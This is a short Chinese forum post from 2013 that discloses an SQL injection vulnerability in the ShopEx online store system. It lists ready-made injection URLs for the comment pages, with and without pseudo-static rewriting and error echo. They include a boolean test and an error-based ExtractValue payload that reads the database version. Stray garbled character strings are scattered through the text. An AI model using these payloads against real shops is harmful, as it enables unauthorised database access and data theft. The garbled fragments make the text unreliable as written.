注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…( X' `- u& q6 y8 o5 }( j1 s _
3 `: {4 ], A0 _
好吧，我扯远了~~
9 n0 C6 p! {2 d* m2 l3 N其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~" L; I( D W4 a$ |: j
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：+ y' b e1 A! U: ]# w
' s5 B4 }4 `2 n. _. e; Phttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
# D7 o; y( Y0 }6 r" e' `& X( A( n. A4 l% ~1 A2 J* r/ D
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html% }7 I8 |( j& `# {$ I$ I4 ~
* c* F8 ^; A' W: Y$ u/ w6 shttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
( T, k. w* S* G9 [+ P
% O8 i8 C( S! D4 X4 k( Shttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html* h* E7 ]+ u$ q/ j+ } L2 C
' z) B6 b0 y! U. L
& d* J0 T3 V8 J# {% A
一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。4 v3 G. k0 K2 k$ K" |- t! T0 K2 O& a
如何注入就不多说了，10多年的东西了…不会也会了…& Q9 H# f6 w: s
! U2 u3 @7 g$ B! a5 [* W2 A
|
发表于 2013-2-4 16:20:04
收藏
支持
反对